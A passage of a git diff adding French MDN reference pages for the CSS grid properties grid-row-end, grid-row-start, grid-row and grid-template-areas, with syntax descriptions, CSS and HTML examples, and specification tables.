+ <p class="note"><strong>Note :</strong> Les noms des zones de grille sont générés implicitement. Ainsi, en utilisant <code>grid-column-start: foo;</code> cela sélectionnera le début de la grille nommée correspondante (sauf si une autre colonne <code>foo-start</code>/<code>foo-end</code> a été explicitement déclarée).</p>
+
+ <p>Sinon, la valeur est traitée comme si on avait utilisé <code>&lt;custom-ident&gt;</code> et la valeur <code>1</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>La n-ième ligne de la grille contribue au placement de l'élément sur la grille. Si un entier négatif est utilisé, le comptage sera fait depuis la fin de la grille explicite.
+ <p>Si un nom est fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existant avec ce nom, toutes les lignes implicites seront comptées afin de trouver la position.</p>
+
+ <p>Si la valeur entière utilisée est <code>0</code>, la règle est invalide.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Un fragment de grille est utilisé pour le placement de l'élément sur la grille afin que le début de la ligne pour l'élément de la grille soit placé à n lignes du bord de fin.
+ <p>Si un nom fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existantes avec ce nom, tout les lignes implicites du côté de la grille explicite et qui correspondent à la direction de la recherche seront comptées afin de placer ce fragment.</p>
+
+ <p>Si l'entier n'est pas défini, la valeur par défaut qui sera utilisée sera <code>1</code>. Les entiers négatifs ou nuls sont invalides.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[14,19]">#grid {
+  display: grid;
+  height: 100px;
+  grid-template-columns: repeat(6, 1fr);
+  grid-template-rows: 100px;
+}
+
+#item1 {
+  background-color: lime;
+}
+
+#item2 {
+  background-color: yellow;
+  grid-column: 2 / 4;
+}
+
+#item3 {
+  background-color: blue;
+  grid-column: span 2 / 7;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "100px")}}</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>IE11 ne prend pas en charge le placement automatique des objets sur la grille.Tous les objets finiront sur la première colonne / ligne si ceux-ci ne sont pas marqués avec les propriétés <code>-ms-</code>{{cssxref("grid-column")}} et <code>-ms-</code>{{cssxref("grid-row")}}. Pour effectuer cette annotation automatiquement, on peut utiliser du JavaScript (cf. <a href="https://github.com/motine/css_grid_annotator">ce dépôt</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-column", "grid-column")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-column")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : le placement sur les lignes d'une grille CSS</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-line-based-placement/">le placement sur les lignes (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-row-end/index.html b/files/fr/web/css/grid-row-end/index.html
new file mode 100644
index 0000000000..93a883beb2
--- /dev/null
+++ b/files/fr/web/css/grid-row-end/index.html
@@ -0,0 +1,166 @@
+---
+title: grid-row-end
+slug: Web/CSS/grid-row-end
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-row-end
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-row-end</code></strong> définit la position de la fin d'un élément de la grille dans une zone donnée ou sur un fragment de ligne donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-row-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+grid-row-end: auto;
+
+/* Valeurs &lt;custom-ident&gt; */
+grid-row-end: somegridarea;
+
+/* Valeurs &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-row-end: 2;
+grid-row-end: somegridarea 4;
+
+/* Valeurs span + &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-row-end: span 3;
+grid-row-end: span somegridarea;
+grid-row-end: 5 somegridarea span;
+
+/* Valeurs globales */
+grid-row-end: inherit;
+grid-row-end: initial;
+grid-row-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la propriété ne contribue pas au placement de l'objet sur la grille. Par défaut, la taille du fragment allouée vaut <code>1</code> s'il n'y a pas d'autres contraintes.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>S'il existe une ligne nommée '&lt;custom-ident&gt;-end', cela placera l'élément sur la première ligne correspondante..
+ <p class="note"><strong>Note :</strong> Les noms de zones génèrent automatiquement les noms de lignes sous cette forme. Ainsi, <code>grid-row-end: foo;</code> permettra de désigner l'extrêmité (à la fin) de la zone nommée (sauf si une autre ligne a explicitement été nommée avec <code>foo-end</code>).</p>
+
+ <p>Si aucune zone ne correspond, la valeur est traitée comme la combinaison de l'entier 1 et de <code>&lt;custom-ident&gt;</code> (cf. définition suivante).</p>
+
+ <p><code>&lt;custom-ident</code><code>&gt;</code> ne peut pas prendre la valeur <code>span</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>Contribue au placement de l'élément sur la n-ième ligne. Si une valeur négative est fournie, les lignes correspondantes sont comptées depuis la dernière. Si un nom est fourni pour &lt;custom-ident&gt;, seules les lignes avec ce nom sont comptées. S'il n'y a pas suffisamment de lignes avec ce nom, on considère que toutes les lignes sont intitulées avec ce nom afin de trouver une position.
+ <p>Un entier nul ne peut pas être utilisé (la règle est invalide).</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Un fragment de grille est utilisé pour le placement de l'élément sur la grille afin que le début de la ligne pour l'élément de la grille soit placé à n lignes du bord situé au début.
+ <p>Si un nom fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existantes avec ce nom, tout les lignes implicites du côté de la grille explicite et qui correspondent à la direction de la recherche seront comptées afin de placer ce fragment.</p>
+
+ <p>Si &lt;integer&gt; est absent, la valeur par défaut sera 1. Les entiers négatifs ou nuls ne sont pas autorisés.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Exemples', '230', '420')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-row-end", "grid-row-end")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-row-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : Placer les éléments d'une grille sur les lignes</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-line-based-placement/">le placement des éléments d'une grille sur les lignes (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-row-start/index.html b/files/fr/web/css/grid-row-start/index.html
new file mode 100644
index 0000000000..8f396d02ec
--- /dev/null
+++ b/files/fr/web/css/grid-row-start/index.html
@@ -0,0 +1,178 @@
+---
+title: grid-row-start
+slug: Web/CSS/grid-row-start
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-row-start
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-row-start</code></strong> définit le début de la position, sur une ligne, d'un élément placé sur la grille qui participe à une ligne, à un fragment de ligne ou rien (automatique). Par conséquent, cela définit également le début de la zone de la grille pour cet élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-row-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+grid-row-start: auto;
+
+/* Valeurs &lt;custom-ident&gt;*/
+grid-row-start: unezonedegrille;
+
+/* Valeurs &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-row-start: 2;
+grid-row-start: unezonedegrille 4;
+
+/* Valeurs span + &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-row-start: span 3;
+grid-row-start: span unezonedegrille;
+grid-row-start: 5 unezonedegrille span;
+
+/* Valeurs globales */
+grid-row-start: inherit;
+grid-row-start: initial;
+grid-row-start: unset;
+</pre>
+
+<p>La valeur de cette propriété prend la forme d'une seule valeur <code>&lt;grid-line&gt;</code>. Une telle valeur peut être définie avec :</p>
+
+<ul>
+ <li>le mot-clé <code>auto</code></li>
+ <li>ou une valeur <code>&lt;custom-ident&gt;</code></li>
+ <li>ou une valeur <code>&lt;integer&gt;</code></li>
+ <li>ou une valeur <code>&lt;custom-ident&gt;</code> et un <code>&lt;integer&gt;</code> séparés par un espace</li>
+ <li>ou le mot-clé <code>span</code> avec une valeur <code>&lt;custom-ident&gt;</code> ou un <code>&lt;integer&gt;</code> ou les deux.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la propriété ne contribue pas au placement de l'élément sur la grille. Cela indique un placement automatique, une taille de fragment (<em>span</em>) automatique ou une taille par défaut de <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>S'il existe une ligne nommée avec '&lt;custom-ident&gt;-start', la première ligne correspondante contribue au placement de l'élément sur la grille.
+ <p class="note"><strong>Note :</strong> Les noms des zones de grille sont générés implicitement. Ainsi, en utilisant <code>grid-row-start: foo;</code> cela sélectionnera le début de la grille nommée correspondante (sauf si une autre ligne <code>foo-start</code> a été explicitement déclarée).</p>
+
+ <p>Sinon, la valeur est traitée comme si on avait utilisé <code>&lt;custom-ident&gt;</code> et la valeur <code>1</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>La n-ième ligne de la grille contribue au placement de l'élément sur la grille. Si un entier négatif est utilisé, le comptage sera fait depuis la fin de la grille explicite.
+ <p>Si un nom est fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existant avec ce nom, toutes les lignes implicites seront comptées afin de trouver la position.</p>
+
+ <p>Si la valeur entière utilisée est <code>0</code>, la règle est invalide.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Un fragment de grille est utilisé pour le placement de l'élément sur la grille afin que le début de la ligne pour l'élément de la grille soit placé à n lignes du bord de fin.
+ <p>Si un nom fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existantes avec ce nom, tout les lignes implicites du côté de la grille explicite et qui correspondent à la direction de la recherche seront comptées afin de placer ce fragment.</p>
+
+ <p>Si l'entier n'est pas défini, la valeur par défaut qui sera utilisée sera <code>1</code>. Les entiers négatifs ou nuls sont invalides.</p>
+
+ <p><code>&lt;custom-ident</code><code>&gt;</code> ne peut pas prendre la valeur <code>span</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Exemples', '230', '420') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-row-start", "grid-row-start")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-row-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : Placer les éléments d'une grille sur les lignes</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-line-based-placement/">le placement des éléments d'une grille sur les lignes (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-row/index.html b/files/fr/web/css/grid-row/index.html
new file mode 100644
index 0000000000..3970f9ea5f
--- /dev/null
+++ b/files/fr/web/css/grid-row/index.html
@@ -0,0 +1,152 @@
+---
+title: grid-row
+slug: Web/CSS/grid-row
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-row
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-row</code></strong> est une propriété raccourcie pour {{cssxref("grid-row-start")}} et {{cssxref("grid-row-end")}}. Elle permet de définir la taille et l'emplacement d'un élément sur la grille en indiquant l'emplacement du début, de la fin et/ou sa taille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-row.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si deux valeurs <strong>&lt;grid-line&gt;</strong> sont utilisées pour la propriété, la valeur de <strong><code>grid-row-start</code></strong> sera définie avec la première valeur avant la barre oblique et la valeur de <strong><code>grid-row-end</code></strong> sera définie avec celle qui est située après la barre oblique.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+grid-row: auto;
+grid-row: auto / auto;
+
+/* Valeurs &lt;custom-ident&gt; */
+grid-row: unezonedegrille;
+grid-row: unezonedegrille / unezonedegrille;
+
+/* Valeurs &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-row: unezonedegrille 4;
+grid-row: 4 unezonedegrille / 6;
+
+/* Valeurs span + &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-row: span 3;
+grid-row: span unezonedegrille;
+grid-row: 5 unezonedegrille span;
+grid-row: span 3 / 6;
+grid-row: span unezonedegrille / span unezonedegrille;
+grid-row: 5 unezonedegrille span / 2 span;
+
+/* Valeurs globales */
+grid-row: inherit;
+grid-row: initial;
+grid-row: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la propriété ne contribue pas au placement de l'élément sur la grille. Cela indique un placement automatique, une taille de fragment (<em>span</em>) automatique ou une taille par défaut de <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>S'il existe une ligne nommée avec '&lt;custom-ident&gt;-start'/'&lt;custom-ident&gt;-end', la première ligne correspondante contribue au placement de l'élément sur la grille.
+ <p class="note"><strong>Note :</strong> Les noms des zones de grille sont générés implicitement. Ainsi, en utilisant <code>grid-row-start: foo;</code> cela sélectionnera le début de la grille nommée correspondante (sauf si une autre ligne <code>foo-start</code>/<code>foo-end</code> a été explicitement déclarée).</p>
+
+ <p>Sinon, la valeur est traitée comme si on avait utilisé <code>&lt;custom-ident&gt;</code> et la valeur <code>1</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>La n-ième ligne de la grille contribue au placement de l'élément sur la grille. Si un entier négatif est utilisé, le comptage sera fait depuis la fin de la grille explicite.
+ <p>Si un nom est fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existant avec ce nom, toutes les lignes implicites seront comptées afin de trouver la position.</p>
+
+ <p>Si la valeur entière utilisée est <code>0</code>, la règle est invalide.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Un fragment de grille est utilisé pour le placement de l'élément sur la grille afin que le début de la ligne pour l'élément de la grille soit placé à n lignes du bord de fin.
+ <p>Si un nom fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existantes avec ce nom, tout les lignes implicites du côté de la grille explicite et qui correspondent à la direction de la recherche seront comptées afin de placer ce fragment.</p>
+
+ <p>Si l'entier n'est pas défini, la valeur par défaut qui sera utilisée sera <code>1</code>. Les entiers négatifs ou nuls sont invalides.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[14,19]">#grid {
+  display: grid;
+  height: 200px;
+  grid-template-columns: 200px;
+  grid-template-rows: repeat(6, 1fr);
+}
+
+#item1 {
+  background-color: lime;
+}
+
+#item2 {
+  background-color: yellow;
+  grid-row: 2 / 4;
+}
+
+#item3 {
+  background-color: blue;
+  grid-row: span 2 / 7;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "200px", "200px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-row", "grid-row")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-row")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : Placer les éléments d'une grille sur les lignes</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-line-based-placement/">le placement des éléments d'une grille sur les lignes (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-template-areas/index.html b/files/fr/web/css/grid-template-areas/index.html
new file mode 100644
index 0000000000..4bb71a1f5a
--- /dev/null
+++ b/files/fr/web/css/grid-template-areas/index.html
@@ -0,0 +1,134 @@
+---
+title: grid-template-areas
+slug: Web/CSS/grid-template-areas
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-template-areas
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-template-areas</code></strong> permet de définir des zones de grille nommées.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-template-areas.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Ces zones ne sont pas associées à un objet de la grille mais peuvent être utilisées avec les propriétés de placement : {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}} et les méthodes de raccourci correspondantes {{cssxref("grid-row")}}, {{cssxref("grid-column")}}, and {{cssxref("grid-area")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+grid-template-areas: none;
+
+/* Valeurs de chaînes */
+/* Type &lt;string&gt;      */
+grid-template-areas: "a b";
+grid-template-areas: "a b b"
+                     "a c d";
+
+/* Valeurs globales */
+grid-template-areas: inherit;
+grid-template-areas: initial;
+grid-template-areas: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le conteneur de grille ne définit aucune zone de grille nommée.</dd>
+ <dt><code>&lt;string&gt;+</code></dt>
+ <dd>Un ligne est créée pour chaque chaîne. Une colonne est créée pour chaque composant de la chaîne de caractères. Si on a un même composant réutilisé sur différentes lignes, cela créera une cellule sur les différentes lignes et colonnes. Il est nécessaire que ces cellules forment un rectangle, sinon, la déclaration est invalide. Voir {{cssxref("&lt;string&gt;")}} pour plus d'informations sur les valeurs de ce type.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;section id="page"&gt;
+  &lt;header&gt;En-tête&lt;/header&gt;
+  &lt;nav&gt;Navigation&lt;/nav&gt;
+  &lt;main&gt;Zone principale&lt;/main&gt;
+  &lt;footer&gt;Pied de page&lt;/footer&gt;
+&lt;/section&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css; highlight[5-7]">#page {
+  display: grid;
+  width: 100%;
+  height: 250px;
+  grid-template-areas: "head head"
+                       "nav  main"
+                       "nav  foot";
+  grid-template-rows: 50px 1fr 30px;
+  grid-template-columns: 150px 1fr;
+}
+
+#page &gt; header {
+  grid-area: head;
+  background-color: #8ca0ff;
+}
+
+#page &gt; nav {
+  grid-area: nav;
+  background-color: #ffa08c;
+}
+
+#page &gt; main {
+  grid-area: main;
+  background-color: #ffff64;
+}
+
+#page &gt; footer {
+  grid-area: foot;
+  background-color: #8cffa0;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", "100%", "250px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-areas", "grid-template-areas")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
